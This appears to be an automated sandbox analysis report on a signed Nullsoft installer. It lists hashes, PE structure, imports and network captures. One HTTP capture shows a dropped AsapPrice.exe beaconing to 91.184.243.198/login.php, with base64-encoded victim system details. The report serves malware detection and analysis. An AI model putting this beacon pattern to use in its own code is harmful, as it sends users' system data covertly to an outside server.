                                                                                                                                                                                                                                                SHA-512:26A31FF9E64812A55BABE5EBDCA348997F8A2D469B198F1ACB01A9874EFB52AA4A7FE78A11A0B7E1481CE3BE805AEDB62E61FEEFDD3B7857D64A138792B40D7D
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:regfG...G....\.Z.................... ....P......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..`.Yf..............................................................................................................................................................................................................................................................................................................................................%.w.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                Static File Info

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                                                                                                                                                                                Entropy (8bit):7.999609558830279
                                                                                                                                                                                                                                                TrID:
                                                                                                                                                                                                                                                • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                                                                                                                • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                                                                                • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                                                                                • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                                                                File name:LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File size:64'804'488 bytes
                                                                                                                                                                                                                                                MD5:615b9ef741787e9625f20ded4a0121db
                                                                                                                                                                                                                                                SHA1:60150f2829d471373422013b2ef3dac6ce5d53d9
                                                                                                                                                                                                                                                SHA256:bffec03a0774af5b87eab0eb4a2f75d3b6c1d580bd5b2d95f5bfded52019527c
                                                                                                                                                                                                                                                SHA512:a42e6784532941f56cfa342020f4c6e3fcd3c2fad51c3700ac0f6c1aa6191d62c46e2eec3d46ca8cf17a27ac720e8b88e700992a807900bc2e6307055286e747
                                                                                                                                                                                                                                                SSDEEP:1572864:+jddfd6gQ96LJbdykzhlYOAtx1LXBCa+g1r3pbK:il6gQ96ZdykzjYOAtxOPar35K
                                                                                                                                                                                                                                                TLSH:BDE73363131EE916D52BEABC50C3C2F8CDF48D79FB84844761CA1E47BB26964AB01739
                                                                                                                                                                                                                                                File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L......\.................h...8...@.

                                                                                                                                                                                                                                                File Icon

                                                                                                                                                                                                                                                Icon Hash:0b201bb27284114d

                                                                                                                                                                                                                                                Static PE Info

                                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                                Entrypoint:0x40338f
                                                                                                                                                                                                                                                Entrypoint Section:.text
                                                                                                                                                                                                                                                Digitally signed:true
                                                                                                                                                                                                                                                Imagebase:0x400000
                                                                                                                                                                                                                                                Subsystem:windows gui
                                                                                                                                                                                                                                                Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                                                                                                                                                                                DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                                                                                                                                                                Time Stamp:0x5C157F86 [Sat Dec 15 22:26:14 2018 UTC]
                                                                                                                                                                                                                                                TLS Callbacks:
                                                                                                                                                                                                                                                CLR (.Net) Version:
                                                                                                                                                                                                                                                OS Version Major:4
                                                                                                                                                                                                                                                OS Version Minor:0
                                                                                                                                                                                                                                                File Version Major:4
                                                                                                                                                                                                                                                File Version Minor:0
                                                                                                                                                                                                                                                Subsystem Version Major:4
                                                                                                                                                                                                                                                Subsystem Version Minor:0
                                                                                                                                                                                                                                                Import Hash:b34f154ec913d2d2c435cbd644e91687

                                                                                                                                                                                                                                                Authenticode Signature

                                                                                                                                                                                                                                                Signature Valid:true
                                                                                                                                                                                                                                                Signature Issuer:CN=Certum Extended Validation Code Signing 2021 CA, O=Asseco Data Systems S.A., C=PL
                                                                                                                                                                                                                                                Signature Validation Error:The operation completed successfully
                                                                                                                                                                                                                                                Error Number:0
                                                                                                                                                                                                                                                Not Before, Not After
                                                                                                                                                                                                                                                • 26/11/2024 12:07:48 26/11/2025 12:07:47
                                                                                                                                                                                                                                                Subject Chain
                                                                                                                                                                                                                                                • CN=T H SUPPORT SERVICES LTD, O=T H SUPPORT SERVICES LTD, STREET=Suites 10s And 11s Trafford House Chester Road, PostalCode=M32 0RS, L=Stretford, S=Greater Manchester, C=GB, SERIALNUMBER=07890919, OID.1.3.6.1.4.1.311.60.2.1.3=GB, OID.2.5.4.15=Private Organization
                                                                                                                                                                                                                                                Version:3
                                                                                                                                                                                                                                                Thumbprint MD5:99CC43DD50C8C235E6703FBFE86B0302
                                                                                                                                                                                                                                                Thumbprint SHA-1:21297766029D043DFBA740CD5203E45171FC8EAA
                                                                                                                                                                                                                                                Thumbprint SHA-256:0A2CAAF3A1E6490DE521CCCA8452705AF0BD9A4A91D7F02CD8D3588404BCF77C
                                                                                                                                                                                                                                                Serial:502F183B00B497DFC821D09DEB30526B

                                                                                                                                                                                                                                                Entrypoint Preview

                                                                                                                                                                                                                                                Instruction
                                                                                                                                                                                                                                                sub esp, 000002D4h
                                                                                                                                                                                                                                                push ebx
                                                                                                                                                                                                                                                push esi
                                                                                                                                                                                                                                                push edi
                                                                                                                                                                                                                                                push 00000020h
                                                                                                                                                                                                                                                pop edi
                                                                                                                                                                                                                                                xor ebx, ebx
                                                                                                                                                                                                                                                push 00008001h
                                                                                                                                                                                                                                                mov dword ptr [esp+14h], ebx
                                                                                                                                                                                                                                                mov dword ptr [esp+10h], 0040A2E0h
                                                                                                                                                                                                                                                mov dword ptr [esp+1Ch], ebx
                                                                                                                                                                                                                                                call dword ptr [004080A8h]
                                                                                                                                                                                                                                                call dword ptr [004080A4h]
                                                                                                                                                                                                                                                and eax, BFFFFFFFh
                                                                                                                                                                                                                                                cmp ax, 00000006h
                                                                                                                                                                                                                                                mov dword ptr [0047AEECh], eax
                                                                                                                                                                                                                                                je 00007F08F484AA83h
                                                                                                                                                                                                                                                push ebx
                                                                                                                                                                                                                                                call 00007F08F484DD35h
                                                                                                                                                                                                                                                cmp eax, ebx
                                                                                                                                                                                                                                                je 00007F08F484AA79h
                                                                                                                                                                                                                                                push 00000C00h
                                                                                                                                                                                                                                                call eax
                                                                                                                                                                                                                                                mov esi, 004082B0h
                                                                                                                                                                                                                                                push esi
                                                                                                                                                                                                                                                call 00007F08F484DCAFh
                                                                                                                                                                                                                                                push esi
                                                                                                                                                                                                                                                call dword ptr [00408150h]
                                                                                                                                                                                                                                                lea esi, dword ptr [esi+eax+01h]
                                                                                                                                                                                                                                                cmp byte ptr [esi], 00000000h
                                                                                                                                                                                                                                                jne 00007F08F484AA5Ch
                                                                                                                                                                                                                                                push 0000000Ah
                                                                                                                                                                                                                                                call 00007F08F484DD08h
                                                                                                                                                                                                                                                push 00000008h
                                                                                                                                                                                                                                                call 00007F08F484DD01h
                                                                                                                                                                                                                                                push 00000006h
                                                                                                                                                                                                                                                mov dword ptr [0047AEE4h], eax
                                                                                                                                                                                                                                                call 00007F08F484DCF5h
                                                                                                                                                                                                                                                cmp eax, ebx
                                                                                                                                                                                                                                                je 00007F08F484AA81h
                                                                                                                                                                                                                                                push 0000001Eh
                                                                                                                                                                                                                                                call eax
                                                                                                                                                                                                                                                test eax, eax
                                                                                                                                                                                                                                                je 00007F08F484AA79h
                                                                                                                                                                                                                                                or byte ptr [0047AEEFh], 00000040h
                                                                                                                                                                                                                                                push ebp
                                                                                                                                                                                                                                                call dword ptr [00408044h]
                                                                                                                                                                                                                                                push ebx
                                                                                                                                                                                                                                                call dword ptr [004082A0h]
                                                                                                                                                                                                                                                mov dword ptr [0047AFB8h], eax
                                                                                                                                                                                                                                                push ebx
                                                                                                                                                                                                                                                lea eax, dword ptr [esp+34h]
                                                                                                                                                                                                                                                push 000002B4h
                                                                                                                                                                                                                                                push eax
                                                                                                                                                                                                                                                push ebx
                                                                                                                                                                                                                                                push 00440208h
                                                                                                                                                                                                                                                call dword ptr [00408188h]
                                                                                                                                                                                                                                                push 0040A2C8h

                                                                                                                                                                                                                                                Rich Headers

                                                                                                                                                                                                                                                Programming Language:
                                                                                                                                                                                                                                                • [EXP] VC++ 6.0 SP5 build 8804

                                                                                                                                                                                                                                                Data Directories

                                                                                                                                                                                                                                                NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_IMPORT0x86100xa0.rdata
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_RESOURCE0x10b0000x19d20.rsrc
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_SECURITY0x3dcad380x2950
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_IAT0x80000x2b0.rdata
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                                                                Sections

                                                                                                                                                                                                                                                NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                                .text0x10000x66270x68007618d4c0cd8bb67ea9595b4266b3a91fFalse0.6646259014423077data6.450282348506287IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                .rdata0x80000x14a20x1600eecac1fed9cc6b447d50940d178404d8False0.4405184659090909data5.025178929113415IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                .data0xa0000x70ff80x600db8f31a08a2242d80c29e1f9500c6527False0.5182291666666666data4.037117731448378IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                .ndata0x7b0000x900000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                .rsrc0x10b0000x19d200x19e003fd2096f8943446708a619a6281699eeFalse0.08440896739130435data1.3654585789973732IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                                                                Resources

                                                                                                                                                                                                                                                NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                                                                RT_ICON0x10b2c80x10828Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3779 x 3779 px/mEnglishUnited States0.028806340944043534
                                                                                                                                                                                                                                                RT_ICON0x11baf00x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/mEnglishUnited States0.05160604629192253
                                                                                                                                                                                                                                                RT_ICON0x11fd180x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/mEnglishUnited States0.07178423236514522
                                                                                                                                                                                                                                                RT_ICON0x1222c00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/mEnglishUnited States0.10060975609756098
                                                                                                                                                                                                                                                RT_ICON0x1233680xd07PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.9700149925037481
                                                                                                                                                                                                                                                RT_ICON0x1240700x468Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/mEnglishUnited States0.19326241134751773
                                                                                                                                                                                                                                                RT_DIALOG0x1244d80x100dataEnglishUnited States0.5234375
                                                                                                                                                                                                                                                RT_DIALOG0x1245d80xf8dataEnglishUnited States0.6330645161290323
                                                                                                                                                                                                                                                RT_DIALOG0x1246d00x60dataEnglishUnited States0.7291666666666666
                                                                                                                                                                                                                                                RT_GROUP_ICON0x1247300x5adataEnglishUnited States0.7777777777777778
                                                                                                                                                                                                                                                RT_VERSION0x1247900x250dataEnglishUnited States0.5
                                                                                                                                                                                                                                                RT_MANIFEST0x1249e00x33eXML 1.0 document, ASCII text, with very long lines (830), with no line terminatorsEnglishUnited States0.5542168674698795

                                                                                                                                                                                                                                                Imports

                                                                                                                                                                                                                                                DLLImport
                                                                                                                                                                                                                                                KERNEL32.dllSetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
                                                                                                                                                                                                                                                USER32.dllGetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
                                                                                                                                                                                                                                                GDI32.dllSelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
                                                                                                                                                                                                                                                SHELL32.dllSHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
                                                                                                                                                                                                                                                ADVAPI32.dllAdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
                                                                                                                                                                                                                                                COMCTL32.dllImageList_Create, ImageList_AddMasked, ImageList_Destroy
                                                                                                                                                                                                                                                ole32.dllOleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

                                                                                                                                                                                                                                                Possible Origin

                                                                                                                                                                                                                                                Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                                                                EnglishUnited States

                                                                                                                                                                                                                                                Network Behavior

                                                                                                                                                                                                                                                Network Port Distribution

                                                                                                                                                                                                                                                TCP Packets

                                                                                                                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.004750967 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.004795074 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.004861116 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.015582085 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.015604019 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.649233103 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.651362896 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.651386976 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.652458906 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.652513981 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.655009985 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.655086040 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.698592901 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.698612928 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.745450020 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.961919069 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.961975098 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.962012053 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.962024927 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.962044954 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.962081909 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.962089062 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.967633009 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.967684984 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.967688084 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.967696905 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.967736959 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.967742920 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.973975897 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.974047899 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.974060059 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.980408907 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.980456114 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:47.980463028 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:48.026746988 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:48.048314095 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:48.051234961 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:48.051291943 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:48.051321983 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:48.051383018 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:48.051440001 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:48.052263975 CET49713443192.168.2.9142.250.181.228
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:48.052280903 CET44349713142.250.181.228192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:59.875937939 CET49717443192.168.2.9172.64.41.3
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:59.875984907 CET44349717172.64.41.3192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:59.876045942 CET49717443192.168.2.9172.64.41.3
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:59.876672029 CET49717443192.168.2.9172.64.41.3
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:59.876688957 CET44349717172.64.41.3192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.354322910 CET44349717172.64.41.3192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.439723969 CET49717443192.168.2.9172.64.41.3
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.439739943 CET44349717172.64.41.3192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.443662882 CET44349717172.64.41.3192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.443705082 CET44349717172.64.41.3192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.443870068 CET49717443192.168.2.9172.64.41.3
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.487328053 CET49717443192.168.2.9172.64.41.3
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.487706900 CET44349717172.64.41.3192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.487749100 CET49717443192.168.2.9172.64.41.3
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.531337976 CET44349717172.64.41.3192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.558021069 CET49717443192.168.2.9172.64.41.3
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.558042049 CET44349717172.64.41.3192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.590251923 CET44349717172.64.41.3192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.590425014 CET49717443192.168.2.9172.64.41.3
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.633218050 CET49717443192.168.2.9172.64.41.3
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:00.633259058 CET44349717172.64.41.3192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:18.890201092 CET4971980192.168.2.991.184.243.198
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:18.895122051 CET804971991.184.243.198192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:18.897357941 CET4971980192.168.2.991.184.243.198
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:18.897691011 CET4971980192.168.2.991.184.243.198
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:18.902509928 CET804971991.184.243.198192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:20.099255085 CET804971991.184.243.198192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:20.099335909 CET804971991.184.243.198192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:20.099545956 CET4971980192.168.2.991.184.243.198
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:20.138017893 CET4971980192.168.2.991.184.243.198
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:20.142923117 CET804971991.184.243.198192.168.2.9

                                                                                                                                                                                                                                                UDP Packets

                                                                                                                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:46.884991884 CET5750053192.168.2.91.1.1.1
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:46.893498898 CET53575001.1.1.1192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:59.824848890 CET5576853192.168.2.91.1.1.1
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:59.825339079 CET6285353192.168.2.91.1.1.1
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:59.831511974 CET53557681.1.1.1192.168.2.9
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:59.831945896 CET53628531.1.1.1192.168.2.9

                                                                                                                                                                                                                                                DNS Queries

                                                                                                                                                                                                                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:46.884991884 CET192.168.2.91.1.1.10xfa03Standard query (0)www.google.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:59.824848890 CET192.168.2.91.1.1.10x56ecStandard query (0)chrome.cloudflare-dns.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:59.825339079 CET192.168.2.91.1.1.10x2e12Standard query (0)chrome.cloudflare-dns.com65IN (0x0001)false

                                                                                                                                                                                                                                                DNS Answers

                                                                                                                                                                                                                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:46.893498898 CET1.1.1.1192.168.2.90xfa03No error (0)www.google.com142.250.181.228A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:59.831511974 CET1.1.1.1192.168.2.90x56ecNo error (0)chrome.cloudflare-dns.com172.64.41.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:59.831511974 CET1.1.1.1192.168.2.90x56ecNo error (0)chrome.cloudflare-dns.com162.159.61.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                                Jan 14, 2025 08:56:59.831945896 CET1.1.1.1192.168.2.90x2e12No error (0)chrome.cloudflare-dns.com65IN (0x0001)false

                                                                                                                                                                                                                                                HTTP Request Dependency Graph

                                                                                                                                                                                                                                                • www.google.com
                                                                                                                                                                                                                                                • chrome.cloudflare-dns.com
                                                                                                                                                                                                                                                • 91.184.243.198

                                                                                                                                                                                                                                                HTTP Packets

                                                                                                                                                                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                0192.168.2.94971991.184.243.198808120C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe
                                                                                                                                                                                                                                                TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:18.897691011 CET630OUTGET /login.php?event=init&id=bmF0aXZlMQ==&data=OCBHQl9bb2JqZWN0IE9iamVjdF1fV1BXUzNBX3RydWVfMTI4MHgxMDI0X1dpbmRvd3MgMTAgUHJvXzExNiBtaW51dGVzICgwLjk0IGhvdXJzKV9DOlxVc2Vyc1x0aW5hXzQ2ODMyNV90aW5hX1dpbmRvd3NfTlRfeDY0XzEwLjAuMTkwNDVfQzpcVXNlcnNcdGluYVxBcHBEYXRhXFJvYW1pbmdfQzpcVXNlcnNcdGluYVxBcHBEYXRhXExvY2FsXFRlbXBfVElOQS1QQ19fSW50ZWw2NCBGYW1pbHkgNiBNb2RlbCAxNDMgU3RlcHBpbmcgOCwgR2VudWluZUludGVsX0FNRDY0X0M6XzJfQzpcVXNlcnNcdGluYVxBcHBEYXRhXExvY2FsXFRlbXBcMnByOU92MWZzVks0d09pOUR6RXFiWnhic3JPXEFzYXBQcmljZS5leGU= HTTP/1.1
                                                                                                                                                                                                                                                Accept: application/json, text/plain, */*
                                                                                                                                                                                                                                                User-Agent: axios/0.27.2
                                                                                                                                                                                                                                                Host: 91.184.243.198
                                                                                                                                                                                                                                                Connection: close
                                                                                                                                                                                                                                                Jan 14, 2025 08:57:20.099255085 CET321INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                Server: nginx/1.24.0 (Ubuntu)
                                                                                                                                                                                                                                                Date: Tue, 14 Jan 2025 07:57:19 GMT
                                                                                                                                                                                                                                                Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                Transfer-Encoding: chunked
                                                                                                                                                                                                                                                Connection: close
